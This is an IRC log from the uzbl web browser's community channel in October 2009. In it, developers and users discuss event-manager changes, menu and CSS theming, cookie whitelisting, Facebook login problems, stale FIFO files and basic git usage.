20:41 < lich> http://omploader.org/vMmtqaA/2009-10-18-214357_1280x1024_scrot.png  < :o
20:41 < rob|> ruskie: like custom prompts with stacked keybindings
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20:41 < ruskie> also another thing that bugs me is lack of command history(i.e. like vim has)
20:41 < rob|> ruskie: quite nice things you can already do with it..
20:41 < ruskie> rob|, the thing is I don't have the time nor the will to change my config every month :)
20:41 < ruskie> to fit with the latest and greatest changes
20:42 < rob|> yeah, i re-introduced COMMAND_EXECUTED in my branch
20:42 < rob|> so there is nothing stopping you from writing an EM plugin for command history
20:42 < ruskie> I'd be very happy if there was a uzbl 0.1 and say another one due in 6 months... so that one could standardize on that one and not have to worry about it breaking until you upgrade to 0.2
20:44 < rob|> well, we pretty much settled to only provide bug fixes in master and push anything that breaky the config to experimetal
20:44 < rob|> erm, *breaks and *experimental
20:44 < ruskie> :)
20:44 < ruskie> and does master have EM yet?
20:44 < keis> ruskie: I have a proof-of-concept command history plugin for EM
20:44 < rob|> ruskie: no
20:45 < ruskie> rob|, so I'll wait until that gets through ;)
20:45 < ruskie> I don't really mind waiting
20:45 < rob|> ok, your decision though you're already missing some really great possibilities
20:45 < ruskie> for me even the current uzbl does more or less what I expect
20:45 < ruskie> the only obvious thing is client side ssl certs
20:46 < lich> uzbl wins
20:46 < ruskie> so I still have a firefox instance around
20:46 < lich> what about ssl stuff? seemed to work ok for me
20:46 < ruskie> and I actually stopped running a browser 24/7
20:46 < ruskie> lich, client side certs
20:46 < lich> not sure what those are, so likely I don't need them
20:46 < ruskie> kinda need those to get through to my bank or even my cellco's control panel
20:47 < ruskie> I guess they're similar to ssh keys I guess
20:47 < ruskie> or even gpg keys at some point(i.e. signing emails using S/MIME)
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20:57 < lich> don't use bank related sites with uzbl
20:57 < lich> I don't trust it
20:57 < lich> :))
21:04 < rob|> yeah, we forward all of your bank accounts to our server ;)
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21:08 < lich> sons of bit**ez
21:08 < lich> <3
21:08 < lich> tbh I only use browsers for what I should, general browsing, and sometimes email
21:08 < lich> I don't trust online banking so the ssl thingie is useless for me
21:09 < lich> feature request
21:09 < lich> make page scroll with directional keys too
21:09 < lich> not just hjkl
21:09 < lich> oh, wait, that's configurable
21:10 < rob|> it is..
21:10 < lich> I need to read that config more
21:11 < rob|> are you running experimental?
21:11 < lich> no, -git
21:11 < lich> I don't feel like experimenting
21:11 < rob|> that's a pitty, we could need more testing on the experimental side..
21:11 < keis> lots of stuff has happend in experimental, maybe it's time to try to stabilize
21:11 < rob|> indeed!
21:12 < lich> rob|: I can switch to it if it won't fail on my current config
21:12 < rob|> lich: it certainly will
21:12 < lich> actually, I could just build as uzbl-experimental
21:12 < lich> got a direct git comamnd for me? to pull it?
21:13 < keis> git checkout experimental
21:13 < rob|> lich: basically we moved lots of stuff from uzbl core (the C part) to a thing called EM (event manager)
21:13 < lich> I will need a complete line
21:13 < lich> rob|: that sounds nice
21:13 < lich> still C? or as a static lib?
21:13 < rob|> the EM is responsible for things like key bindings and a lot more
21:14 < rob|> no, event managers can be written in _any_  language
21:14 < rob|> we currently have a python and a lisp EM
21:14 < lich> lisp? that sounds cool. who handles that?
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21:15 < rob|> lich: http://www.uzbl.org/wiki/lisp-em
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21:15 < DuClare> Lisp 'em up..
21:16 < mason-l> Still waiting for someone to man up and write a haskell EM :)
21:16 < lich> haskell sucks
21:16 < keis> haha, that would be awesome :)
21:17 < lich> and I won't get sucked into a discussion about why it does
21:17 < lich> keis: taht would be xmonad actually :))
21:17 < keis> :P
21:17 < lich> mason-l: bug in -tabbed?
21:17 < lich> I got a link in clip
21:17 < lich> and gY does not work
21:17 < rob|> i guess i should lauch a poll in #xmonad for a haskell EM ;)
21:17 < DuClare> I wonder why Haskell sucks.
21:19 < keis> the insane amount of operators
21:21 < keis> most of the time it's like reading C with a 1000LOC macros.h
21:24 < lich> anyone here using my css style?
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21:29 < keis> no, haven't tried any css at all. I fear it will mess up things :P
21:31 < lich> people seem to like it
21:33 < rob|__> lich: yeah, saw a few shots of your css and it does look pretty nice
21:33 < lich> well I managed to fix it
21:33 < lich> had to track down the classs that handled the borders around the threads
21:33 < lich> finally had some time to look into it
21:34 < lich> http://omploader.org/vMmtrMw/2009-10-18-223751_1280x1024_scrot.png
21:34 < lich> preety :P
21:37 < rob|__> lich: you're from romania?
21:37 < lich> have we not had this discussion 3 times already?
21:37 < lich> yes, and I know you got grandparents from here
21:37 < rob|__> oh
21:37 < lich> or something similar :)
21:37 < lich> robert manea is a romanian name :P
21:38 < lich> well, manea is
21:38 < rob|__> heh, i guess it must be your nickname that changes fairly often ;)
21:38 < lich> well, yeah, my bad
21:38 < lich> keeping this one though
21:39 < rob|__> i'm talking to quite a few people on a daily basis so can't keep track of all these changes nicks..
21:39 < lich> I actually got accused of plagiarizing my own work because of my constant nick changing
21:39 < rob|__> *changing
21:39 < lich> rob|__: yeah mate I was kidding. Plus you told me this like..more than a year ago
21:39 < lich> I just have a good memory
21:40 < lich> we were talking about dzen then, nothign to do with arch or uzbl
21:40 < lich> was about your xmonad.hs
21:40 < rob|__> yeah, now i do remember..
21:40 < lich> you on arch now btw?
21:40 < rob|__> it's on the xmonad wiki, no changes since then
21:40 < lich> or just the project?
21:41 < lich> I used yours as a base, not using xmonad anymore, but I just had to configure it :D
21:41 < rob|__> yep, i'm on arch. well at least my laptop is
21:41 < lich> does a fine job of laptops I must say
21:41 < rob|__> the main machine is still debian stable and win7
21:41 < lich> but damn Xorg is nasty at times
21:41 < rob|__> the latter for bread earning means
21:41 < lich> I defected to OBSD on my laptop for a few months, X worked out of the box, so did apm
21:41 < lich> that was a first for me
21:42 < lich> sadly I to depend on a non linux, which is OSX
21:42 < lich> well windows too, but only at home
21:42 < lich> I do my 3d in Cinema4D, and the only linux version is included in teh studio bundle, which is like, a few thousand euros
21:43 < lich> and they have custom keys which never get shared, not even the kit. if studios share it, the fine is like..hundreds of thousands
21:43 < lich> they went out of their way with not making it available for linux..rather sad if you ask me, it;s a fine piece of software
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21:44 < rob|__> i see. well, fortunatelly i all i need for my job is an editor and compiler.
21:44 < lich> what do you do for a living?
21:44 < lich> asuming coding, but what exactly?
21:44 < rob|__> well, sometimes also VisualStudio but the companies will pay for the lincenses..
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21:46 < rob|__> lich: anyways, i'd recommend to create a wiki entry featuring your css. i bet a lot of people will like it and make use of it
21:46 < lich> I still have no idea how to do that!
21:46 < rob|__> lich: best things is to provide a step by step howto of how to set it up plus a screenshot..
21:47 < lich> no one would help me
21:47 < lich> I just added it to my git repo
21:47 < rob|__> what, creating a wiki entry?
21:47 < lich> yes
21:47 < lich> I made an account
21:47 < lich> then hit some edit thingie
21:47 < lich> which brought me to a weirdass text editor
21:47 < rob|__> it's easy, just register and create an article
21:47 < lich> ok, will try again
21:49 < rob|__> yeah, just do it. you can use some existing wiki pages as reference
21:49 < lich> imo wikis should just be one big html page with tag links, and text files
21:49 < rob|__> if you get stuck just save what you have and i'll review it for you
21:49 < lich> ok thanks
21:49 < lich> gonna watch tim burton's 9 now, then do this
21:50 < lich> heard good reviews about it, plus I love his work :)
21:50 < rob|__> sure, no hurry
21:53 < Dieterbe> evening ladies
21:55 < rob|__> hey dieter
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21:55 < rob|__> lady marmalade?
21:56 < Dieterbe> ?
22:00 < rob|__> Dieterbe: anyways, i added some menu_* commands. you might want to review them and tell me what you think..
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22:02 < rob|__> Dieterbe: they're documented in the README
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22:08 < keis> is it possible to pull a few commits without getting the entire branch?
22:08 < Dieterbe> keis: git cherry-pick
22:08 < keis> does cherry-pick work remote?
22:10 < Dieterbe> dunno. if it doesn't just add the remote, fetch it
22:11 < keis> right, the fetch will not merge or anything like that?
22:11 < Dieterbe> no. fetch will just fetch
22:11 < Dieterbe> rob|__: to add/remove items, is it enough to just manipulate the array? no need to call webkit functions?
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22:34 < rob|__> Dieterbe: yeah, that's enough
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22:36 < Dieterbe> that's cool
22:37 < Dieterbe> i should probably update my tree, with all these changes right?
22:37 < Dieterbe> diff against you is 4600 lines
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22:38 < rob|> oh, wow. well, i also pulled in mason's EM changes
22:39 < keis> menus are working great here. but I think it would be better if the syntax was like that of bind e.g "menu_add google = uri http://google.com"
22:39 < rob|> keis: right
22:39 < keis> consistency is always nice
22:40 < rob|> keis: that will also get right of all qutoing issues and keep things consistent
22:40 < modnaru> You mean consistency is always important.
22:40 < rob|> s/right/rid/
22:41 < keis> modnaru: yeah that too
22:41 < rob|> will, change that in a moment. time to eat the pizza now, though
22:41 < rob|> brb
22:41 < keis> maybe even the most important thing
22:41 < keis> in the context of configfiles
22:42 < Dieterbe> ah pizza, the official uzbl hackers food
22:43 < modnaru> That must be why I'm not an official hacker.
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23:19 < rob|> ok, changed menu_add syntax to: menu_add <label> = <command>
23:20 < keis> nice :)
23:22 < keis> I wonder if we could get rid of the default items by disconnecting all others from populate-popup
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23:22 < lich> I know what I'ma write tomorrow
23:22 < lich> a script that gets FF bookmarks and adds to bookmarks.txt :D
23:23 < lich> would make switching a bit easier
23:23 < lich> til then, good night
23:23 < keis> gn
23:25 < keis> the other route would be to clear the GtkMenu in the callback, but that sounds wastefull
23:26 < Dieterbe> rob|: keep on rocking.
23:26 < Dieterbe> see you guys later
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03:16 < comhack> Anyone know how to upvote or downvote on reddit using uzbl-git? I use fl to get the link numbers the upvote and downvote do not show a number. Thanks
03:18 < comhack> I know there is a script for posting articles to reddit though
03:19 < keis> looks like the arrows are <div>s with onclick. dunno if that's supported
03:19 < comhack> keis: thanks
03:19 < comhack> just sux I have to tak my hands off the keyboard
03:20 < keis> if you know javascript you could propably fix it
03:20 < comhack> oh well I will wait for a fix or try to figure it out
03:20 < comhack> I know some but not an expert more of a novice
03:20 < comhack> thanks for the info though
03:21 < keis> right-click -> inspect :D
03:21 < comhack> yup
03:22 < comhack> I know about inspect but before I was wondering what is the shortcut to close inspect window. I use alt-shift-C in xmonad to close but is there a uzbl shortcut for it?
03:23 < keis> I don't think so, the inspector is from webkit
03:23 < comhack> ah I remember now
03:23 < comhack> it cant be done
03:24 < comhack> oh well xmonad shortcut works fine
03:24 < keis> it even looks like some mac app
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03:26 < comhack> yes it does
03:26 < comhack> is webkit an mac app
03:27 < keis> yeah, and forked from a KDE app :)
03:27 < axionix> hey guys. its been a while since i visited facebook, but i remember being able to login last time instead of 'page requested was not found'
03:27 < comhack> keis: ahh didnt know that thanks
03:28 < comhack> axionix: did it show the mobile version when it worked mine ddid
03:28 < comhack> #did
03:28 < keis> axionix: try to set your user-agent to firefox something something.
03:28 < comhack> hmm now it works with the regular version for me
03:29 < axionix> comhack: no i get a basic page with a missing stylsheet and broken images
03:29 < comhack> oh damn
03:29 < comhack> what version of uzbl?
03:29 < comhack> I have uzbl-git 20091016-1
03:29 < axionix> latest in arch...aur/uzbl-git 20090826-2 [installed] (362)
03:29 < comhack> on archlinux and it works for me
03:29 < axionix> i'll upgrade
03:30 < comhack> Have you read the comments on the uzbl-git page
03:30 < axionix> didnt know i had git from a few months ago
03:30 < comhack> it gives you a replacement pkg since the one used does not update uzbl
03:30 < comhack> on archlinux AUR
03:30 < axionix> ?
03:31 < comhack> http://aur.archlinux.org/packages.php?ID=25972
03:31 < comhack> you said you use arch
03:31 < comhack> you got it from yaort
03:31 < comhack> well that is AUR
03:31 < comhack> ASrchlinux User Repository
03:31 < comhack> #archlinux
03:31 < axionix> yeah it pulls from git, no?
03:31 < comhack> yes
03:31 < axionix> uzbl --version
03:31 < axionix> Commit: d2d73ad463f3d9f1c673d37457af159947b3faac
03:31 < comhack> quote
03:32 < comhack> Yaourt caches SCM builds to /var/abs/local/yaourtbuild. But it does not find the repo this PKGBUILD clones and cannot save and reuse it. As StefanHusmann already mentioned makepkg has problems with this PKGBUILD. Here is a PKGBUILD more along the lines of /usr/share/pacman/PKGBUILD-git.proto:
03:32 < comhack> and it gives a pkgbuild to use instead
03:32 < axionix> i always nuke cache
03:32 < comhack> the version in the repos is not the newest version it had a problem with the sytax and does not uswe the newest build
03:33 < comhack> even after nuking it you still get 200908263-2 instead of 20091013
03:33 < comhack> #20090826-2 sorry
03:33 < comhack> I had issues with the AUR package until I read the comments further
03:34 < comhack> the new version fixes some of the issues
03:34 < comhack> if that makes sense
03:35 < comhack> The PKGBUILD has'nt got a line
03:35 < comhack> _gitname=uzbl
03:35 < axionix> comhack: thats just the version reported by yaourt. uzbl --version matches the commit hash of dieterbe's latest commit
03:35 < comhack> ,so it is not updated automatically by makepkg.
03:35 < comhack> hmm
03:35 < axionix> aur/uzbl-git 20090826-2 [installed] (362)
03:35 < axionix> Commit: d2d73ad463f3d9f1c673d37457af159947b3faac
03:35 < axionix> that hash is 20090918
03:36 < comhack> hmm so I shouldnt use  20091013 ?
03:36 < comhack> maybe I was confused
03:36 < axionix> its just aesthetics. not going to maintain a separate pkgbuild because yaourt is fucked
03:36 < comhack> I thought that the problem was the AUR package wasnt updating to the current git
03:37 < comhack> I have done this before and the next update fixes it
03:37 < axionix> trying now
03:37 < comhack> I did that with ncmpcc-git
03:37 < comhack> xmonad-darc also complains about a newer version than in the aur repos and I dint change anything
03:37 < comhack> only 2 that  does it for me
03:38 < comhack> #that complains in yaourt -Syu --aur
03:38 < axionix> well 20090918 is the latest in the master branch. you must be using the experimental branch?
03:38 < comhack> hmm ok I will revert
03:39 < comhack> wow experimental only uses 20090826-2  I am much newer
03:39 < axionix> i do have the latest for master though
03:39 < axionix> kinda scared to use experimental after all my commits and scripting
03:39 < comhack> If I knew I wouldnt
03:40 < comhack> installing regular git now
03:40 < comhack> 20090826-2
03:40 < comhack> now
03:40 < comhack> fixed
03:40 < comhack> thanks for bringing it to my attention
03:40 < axionix> can you login to facebook?
03:40 < comhack> hold on
03:41 < comhack> yup
03:41 < axionix> weird
03:41 < comhack> hmm anything I can give you  config wise?
03:41 < axionix> must be a privoxy thing
03:42 < comhack> u use privoxy?
03:42 < axionix> yeah
03:42 < comhack> maybe
03:42 < axionix> lol...nope
03:42 < axionix> after reinstalling the same version of uzbl it works
03:42 < comhack> hmm really weird
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03:43 < axionix> yep...weell problem solved...somehow
03:43 < axionix> thanks :)
03:44 < comhack> I guess
03:44 < comhack> hehehe
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03:47 < comhack> brb
03:47 < comhack> k
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04:03 < axionix> comhack: i found the problem
04:03 < comhack> cool what was it
04:03 < axionix> facebook doesnt work with cookie_daemon.py
04:03 < comhack> I use cookie_daemon.py
04:03 < axionix> well without it it works
04:03 < comhack> hmm weird
04:04 < axionix> it worked before because installing uzbl overwrote my wrapper
04:04 < axionix> which starts cookie daemon
04:04 < comhack> hmm
04:04 < comhack> ah but it wont work with the cookie_dameon though?
04:04 < axionix> yeah
04:05 < comhack> well it works on mine though and I have the same things
04:05 < comhack> did you modify the cookie_daemon
04:05 < comhack> or are you using multiple cookie_daemons like the page shows
04:05 < axionix> well yes, but my changes are part of uzbl now
04:05 < comhack> the script page I meant
04:05 < comhack> got me mine works I dunno
04:06 < axionix> hmm
04:06 < comhack> so have you gotten bookmarks tags to work without the dmenu-vertical
04:07 < comhack> I like the regular dmenu
04:07 < axionix> i never knew there was a vertical dmenu. mine uses dmenu
04:07 < comhack> yeah  http://aur.archlinux.org/packages.php?ID=20063
04:08 < comhack> do you use the bookmark tags any
04:09 < comhack> I just just type the beginning of the bookmark after typing "u"
04:09 < comhack> but cannot get the tags to work
04:09 < axionix> i use the default bookmark handling
04:09 < comhack> me too
04:09 < axionix> insert_bookmark.sh
04:09 < comhack> hmm let me look
04:09 < axionix> and i load them with bind u
04:09 < comhack> yeah me too
04:10 < comhack> I also have load_url_from_bookmarks.sh
04:10 < axionix> yes thats bind u
04:10 < comhack> yeah well it has a place for tags when you bookmark a page
04:11 < comhack> I cannot get the tag to load    like "u-tag"
04:11 < axionix> oh yeah i never figured that out
04:11 < comhack> oh ok thats what I was asking
04:11 < comhack> no biggie
04:11 < axionix> i wish i did
04:11 < comhack> I love uzbl
04:11 < axionix> seems nice
04:11 < comhack> I used openbox for years but I started using xmonad and firefox didnt cut it
04:11 < comhack> so I have been using uzblk for about a week and a half
04:12 < comhack> #uzbl
04:12 < comhack> only
04:12 < axionix> yeah firefox is hype. ive been using uzbl for a few months and i love it
04:12 < comhack> few kinks but nothing major so far
04:12 < comhack> have you noticed when posting in a forum the spaceing is not correct like a space between sentences
04:13 < comhack> I have to double-space to get a single space sometimes
04:13 < axionix> i added a feature to cookie_daemon you might not have heard of
04:13 < comhack> really what
04:13 < axionix> cookie whitelisting
04:13 < comhack> hmm
04:13 < axionix> only stores cookies for domains you specify
04:13 < comhack> so the daemon stores any cookies right now>
04:13 < comhack> not only the ones I log into
04:14 < comhack> got a link for the syntax   sounds awesome
04:14 < axionix> yes it stores 3rd party cookies...your cookie list is probably huge
04:14 < comhack> damn
04:14 < axionix> my changes are part of uzbl now. you already have it :)
04:14 < comhack> oh cool
04:14 < axionix> do this
04:15 < comhack> nope only 3 cookies in .config/uzbl/cookies   thats not right
04:15 < comhack> ok
04:15 < axionix> .config/uzbl/cookie_whitelist
04:15 < axionix> .google.com
04:15 < axionix> .github.com
04:15 < axionix> thats what mine looks like
04:15 < comhack> oh shit I have tons in .local/share/uzbl/cookies.txt
04:15 < axionix> it will block all others
04:16 < comhack> hmm coolk
04:16 < comhack> #cool
04:16 < axionix> yeah back that up and remove it....then make create the whitelist file and restart the cookie daemon
04:16 < comhack> ok thanks
04:16 < axionix> see if that works
04:16 < comhack> ok
04:17 < axionix> oh
04:18 < axionix> you have to start the daemon with -u switch
04:18 < axionix>   -u, --use-whitelist   use cookie whitelist policy
04:18 < comhack> restart cookie daemon?
04:18 < axionix> yeah do cookie_daemon.py -u
04:18 < axionix> -u will read that whitelist file
04:18 < comhack> will I have to do that everytime
04:19 < comhack> ok it works
04:19 < comhack> thanks
04:19 < axionix> no you could make a wrapper for uzbl which starts the cookie daemon first
04:19 < comhack> oh ok
04:19 < comhack> I could do that
04:19 < comhack> thanks
04:19 < comhack> it is pretty cool
04:20 < axionix> yeah now try facebook
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04:20 < comhack> ok
04:20 < comhack> works
04:20 < axionix> well i guess you're lucky then :)
04:21 < comhack> guess so
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04:27 < axionix> seems to be stale sockets
04:28 < comhack> hmm
04:29 < comhack> kind of odd
04:30 < axionix> nope seems to be duplicagte cookie daemon processes
04:30 < comhack> so is there a way to use ftp in uzbl
04:30 < axionix> i'm gonna have to rescript this whole thing
04:30 < comhack> I get errors when loading ftp sites
04:30 < comhack> axionix: that sux
04:30 < axionix> no, uzbl is a http browser
04:30 < comhack> i thought so
04:33 < comhack> are you one of the devs for uzbl?
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04:34 < axionix> no
04:34 < comhack> ok
04:35 < axionix> dieterbe is the lead dev
04:35 < comhack> I knew that
04:35 < comhack> I just figured you were part of the devs since you were talking about scripts added to the git version
04:36 < axionix> i was?
04:36 < comhack> you said "my changes are already part of it"
04:36 < comhack> #part of uzbl, you have it already"
04:37 < axionix> yeah, anyone can create a git repo and have dieterbe pull the changes back into master
04:37 < comhack> ahh ok
04:37 < comhack> sorry been using linux for 8 years but have not used git much
04:37 < axionix> git was created by linus torvalds to help people collaborate on code :)
04:38 < comhack> I know that, I read that awhile back
04:38 < comhack> and seen him give a tak on it
04:38 < comhack> err online
04:38 < comhack> #tlak
04:38 < comhack> #talk shit
04:38 < axionix> it really is nice. do you code at all?
04:38 < comhack> some
04:39 < comhack> python, perl, c++, some javascript
04:39 < axionix> sign up for an account on github.com. even if you just store your dot files there git can help a lot
04:39 < comhack> learning haskell
04:39 < comhack> I have an account but had trouble setting it up. I tried day before yesterday
04:39 < axionix> what trouble?
04:39 < comhack> setting up branch
04:40 < comhack> I was trying to post my configs there
04:40 < comhack> but had an issue not for sure exactly but I plan on figuring it out
04:40 < comhack> was a tad drunk when I was messing with it
04:40 < axionix> what part are you stuck on?
04:40 < axionix> hehe
04:40 < comhack> hold on
04:40 < comhack> ogithub.com
04:41 < comhack> shit
04:41 < comhack> damn 3 monitors
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04:42 < comhack> oh I got stuck on git push origin master  complained about wrong port even though the config had the correct port
04:42 < comhack> hold on running through it agian
04:43 < maerline> 3 monitors doesn't sound like a problem to me :)
04:43 < comhack> nah focus is what Iwas talking about
04:43 < axionix> i have 5 monitors, but i only use 1. i love ssh :)
04:43 < comhack> wow!!!!!!!!!
04:43 < maerline> ssh doesn't put everything in view at once :)
04:43 < comhack> well counting ssh I have 6 machines in total
04:43 < maerline> i love multiple monitors
04:44 < axionix> no a tiling wm does :)
04:44 < comhack> ahh I use xmonad too
04:44 < axionix> i use dwm
04:44 < comhack> cool
04:45 < axionix> if you get an error pushing it might mean you have not told github your public key
04:45 < comhack> I did
04:45 < comhack> on that step
04:45 < axionix> post exact error
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04:45 < comhack> ok
04:45 < comhack> it is not taking my passphrase
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04:46 < axionix> oh hmm. my key doesnt have a password
04:46 < comhack> ok
04:47 < comhack> now it shows up wtf
04:47 < comhack> the README file you make during the setup
04:47 < axionix> so it published?
04:48 < comhack> yeah the README
04:48 < axionix> good then you're set
04:48 < comhack> so I move files to the folder on my machine then push?
04:48 < comhack> Ill have to read more
04:48 < axionix> well
04:49 < axionix> type git status
04:49 < comhack> ughahh git add file
04:50 < comhack> nothing added to commit but untracked files present (use "git add" to track)
04:50 < axionix> yeah. git status will monitor changes. type git commit -m "commit message" to commit to your repo. to sync your repo with github type git push. pretty much all you need to know
04:50 < comhack> cool thanks alot
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04:52 < comhack> wow it works!!!!!!!!!! thanks alot
04:53 < axionix> :)
04:53 < comhack> awesome
04:53 < axionix> grr uzbl is pissing me off. i might have to install firefox to post on facebook :/
04:54 < comhack> nooooooooooo
04:54 < comhack> hehehe
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05:05 < comhack> Ok when I want to remove something from git, I git commit and it shows the files to be deleted as:    #  deleted: filename     So I uncomment them and :wq then git push and they do not get deleted. How do I delete something
05:05 < comhack> I got the adding down
05:06 < axionix> no
05:06 < comhack> use "git reset HEAD <file>..." to unstage ?
05:06 < axionix> just delete the file...git status will show that it has been deleted. now git commit -m "delete file blah". it's deleted now. if you want to sync the new changes with github run git push
05:07 < comhack> oh ok
05:07 < axionix> you can go back to any commit with git...so that file is still there. thats the beauty of it
05:08 < comhack> cool
05:09 < comhack> Ok I deleted the files then git status  shows them deleted
05:09 < axionix> just remember to commit after every major change.
05:09 < comhack> when I do git commit -m should I list the filename in the ""s
05:09 < axionix> you dont have to push until you want all the commits to show up on github
05:09 < comhack> ok
05:09 < axionix> that way you can commit offline, and push when youare online
05:10 < comhack> oh ok
05:11 < comhack> ahhhh git rm filename
05:12 < axionix> i never do it that way :)
05:13 < comhack> heheh
05:13 < comhack> well it works
05:13 < axionix> what does it remove the file and git index?
05:14 < comhack> no just removes the file
05:14 < comhack> then git commit and git push
05:14 < axionix> seems no different than rm then
05:14 < comhack> i guess
05:15 < comhack> hey it works and thanks to you I understand a bit more
05:15 < axionix> i have only been using it for a few months myself. theres a lot to it to learn :)
05:15 < comhack> http://github.com/securitybreach/Config-files
05:15 < keis> "git-rm - Remove files from the working tree and from the index" :)
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05:21 < comhack> cool
05:21 < axionix> ok, going to watch GI Joe in 1080p :)
05:21 < axionix> have fun
05:21 < comhack> cool I seen it    awesome movie
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05:53 < keis> https://bugzilla.gnome.org/show_bug.cgi?id=594768 good news
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09:10 < Dieterbe> good morning friends
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09:24 < noisetonepause> morn
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09:44  * Cheeseum hugs Dieterbe 
09:45 < Dieterbe> :)
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10:09 < dunz0r> is there some way to change the fontsize used in the statusbar? using fontsize="#" doesn't seem to do it
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10:22 < Allive> dunz0r:
10:22 < Allive> maybe http://www.gtk.org/api/2.6/pango/PangoMarkupFormat.html
10:24 < dunz0r> oo. thanks. been looking for something like this for a while :)
10:25 < dunz0r> ok, now I understand why it didn't do anything. I did it wrong :)
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10:39 < lich> mornin'
10:43 < lich> where would I put my css in the wiki? scripts or general howto's?
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11:12 < rob|> morning.
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11:15 < lich> hey rob|
11:15 < lich> working on the wiki page
11:16 < rob|> ok, nice
11:16 < lich> added the 2 lines of "howto" and a screenie :D
11:16 < lich> http://www.uzbl.org/wiki/lich.css
11:16 < lich> cleaning the code and putting that in there
11:21 < Dieterbe> hey that's nice. does it affect non-bbs sites?
11:22 < lich> all sites
11:22 < lich> BUT some do look kind of ugly
11:22 < lich> I call that bad html code, not my css's fault that they decide to name their own classes etc
11:23 < lich> it's done with arch forums and googlein mind
11:23 < lich> google in mind*
11:23 < lich> I guess setting diff css handlers for diff sites could prove to be a good project for me...
11:23 < lich> would definatly be less cumbersome on uzbl when it loads every site and has to apply the css
11:24 < lich> that reminds me, I need to stile the quote tags to look like the code ones
11:24 < lich> rather like where I'm going with it
11:25 < Dieterbe> yeah would be nice to have a 'style_handler' that checks uri of the site and loads different css accordingly
11:26 < lich> would that be hard to implement?
11:26 < lich> make a file that holds rules
11:26 < lich> something like
11:26 < lich> archlinux.org = file://$XDG_CONFIG_HOME/uzbl/styles/archlinux.css
11:26 < ruskie> just use the on_finish handler or on_load handler?
11:27 < lich> well I'd like this to be working otu of the box, I know I can fiddle with it myself :)
11:27 < rob|> no, that should be pretty easy if you hook into load_start or load_commit
11:27 < lich> does any of those handle reloads too?
11:27 < ruskie> since those can already be used to for example play youtube vids in mplayer ;)
11:27 < lich> to help with testing css's on the fly?
11:27 < lich> do any*
11:27 < rob|> @on_event LOAD_COMMIT spawn mycss_switcher
11:28 < rob|> similar for master and load_commit_hanlder..
11:29 < thunktone> would be nice to choose the css based on the framework
11:29 < thunktone> there's a lot of sites that look like wikipedia for instance
11:31 < mason-l> rob|, Theres a load css command?
11:32 < lich> does Dokuwiki allow for codebox?
11:32 < mason-l> Also it would be nice to have a millisecond readout of how long it takes scripts to execute.
11:32 < lich> or do I paste the damn thing in there?
11:32 < rob|> mason-l: nope
11:32 < lich> it's like 185 lines
11:33 < rob|> yeah, paste it in there or just link to your gihub repor or wherever you store it
11:34 < Dieterbe> thunktone: well, you can get the page contents with a certain js call, so you can grep for 'mediawiki' or whatever in that
11:40 < lich> rob|: it pastes like one huge line, no linebreaks
11:42 < thunktone> may have to play with javascript at some point
11:42 < thunktone> it'll be a week or two most likely though
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11:47 < lich> ok, kind of done
11:47 < lich> http://www.uzbl.org/wiki/lich.css
11:50 < lich> http://www.uzbl.org/wiki/scripts#misc
11:50 < lich> added to Misc scripts
11:58 < rob|> just gave it a try and it works nicely
11:59 < lich> well it's a pain on yahoo mail
11:59 < lich> looks ok on gmail
11:59 < lich> can't really style everything
11:59 < lich> but i'd rather have hrrible sites than that white that burns my eyes when the lights are down :))
12:00 < lich> still need to make sense of the uzbl definitions in the default css
12:00 < lich> can;t for the love of got get the damn hints to style
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12:06 < lich> lol of course I can't, they're styled in the damn js itself!
12:08 < Dieterbe> ^^
12:10 < lich> oh I should also make a wiki for my download script
12:11 < lich> hey who's editing my css? won't allow me to edit it :|
12:11 < lich> Currently locked by: thunktone
12:11 < lich> hmmm
12:12 < thunktone> sorry was looking how you styled the code
12:12 < lich> <code css>
12:12 < thunktone> canceled now
12:12 < lich> it's in the wiki syntax page :P
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12:13 < thunktone> sorry was being lazy
12:13 < lich> don't worry
12:13 < Dieterbe> i also do that :P
12:13 < Dieterbe> always copy stuff from others
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12:21 < thunktone> I've just posted my css: http://www.uzbl.org/wiki/thunktone.css
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12:21 < thunktone> it changes mediawiki and some other sites in a pretty kludgy way
12:23 < thunktone> also restyles hints for follow_Numbers.js
12:24 < lich> which part handles that?
12:24 < lich> changing #uzbl_hint > div    {
12:24 < lich> doe snada for me
12:24 < lich> does nada*
12:24 < Dieterbe> uhm those css files are linked from somewhere right, so people can find them?
12:24 < lich> Dieterbe: on the wiki for now
12:25 < lich> I'll update the forum thread
12:25 < lich> got liek 20 emails requesting it
12:25 < Dieterbe> yeah i meant from the wiki
12:25 < lich> even though I did paste it a lot
12:25 < lich> Dieterbe: I linked it from scripts/Misc
12:25 < lich> wasn't sure where to put it
12:25 < thunktone> lich: works for me
12:26 < lich> we could make a separate cathegory for styles?
12:26 < lich> especially if we get more than 2 and make a howto of per site styling?
12:26 < thunktone> Dieterbe: linked mine right under lich's
12:26 < rob|> thunktone: would be nice to also have a screenshot on that page
12:27 < rob|> and yes, a css category would certainly be a good thing
12:28 < lich> http://www.uzbl.org/wiki/scripts#handlers
12:28 < lich> added my download script too
12:28 < lich> it's updated to use cookies and content-disposition so that it can get the filename provided by teh site (damn omploader)
12:29 < lich> btw <code bash> is flawed
12:29 < lich> only interprets as bash comment on the first word :P
12:36 < thunktone> screenshot added
12:37 < rob|> nice
12:38 < lich> just realized why my hints don't style
12:38 < lich> I style the entire div class on the bottom
12:38 < lich> but I need to do that, otherwise my stile sucks on sites
12:38 < lich> screw the hints
12:42 < lich> zoom_in ? Controls zooming and manages a per domain zoom level
12:42 < lich> this could easily be used for per domain css?
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13:52 < Dieterbe> man thunktone's theme is ugly :P
13:54 < lich> lol
13:54 < lich> you have no eye for fashion
14:01 < Dieterbe> hah.. so what's your reply when i say i find your theme very nice?
14:04 < lich> none
14:04 < lich> anyone could have done it with a bit of free time and firebug :D
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14:16 < Gentooer> Hi, is there a fix to the problem of fifo files not getting deleted and causing things like link following not to work when opening new windows?
14:20 < lich> this is rather anoying for me aswell
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14:24 < Gentooer> I would think that uzbl should just check when starting whether a fifo file already exists with the same number and delete it
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14:30 < lich> Gentooer: that's impossible as it would disrupt all other running instances
14:31 < lich> immagine that you got 3 windows, and a 4th removes fifos for them
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14:35 < Gentooer> lich: ah right, so is there no solution?
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14:40 < Dieterbe> the solution is to abort when the fifo already exist, and to make sure uzbl doesn't crash
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14:43 < Gentooer> not the best solution.. if I have 10 instances of uzbl open and one of them crashes, how do I know which fifo to delete?
14:44 < Dieterbe> the one that has the same name as the socket on which you get no reply
14:47 < Gentooer> how do I match the fifo/socket # to a window of uzbl?
14:47 < thunktone> Dieterbe: yeah, I picked the colours for readability without much thought to style
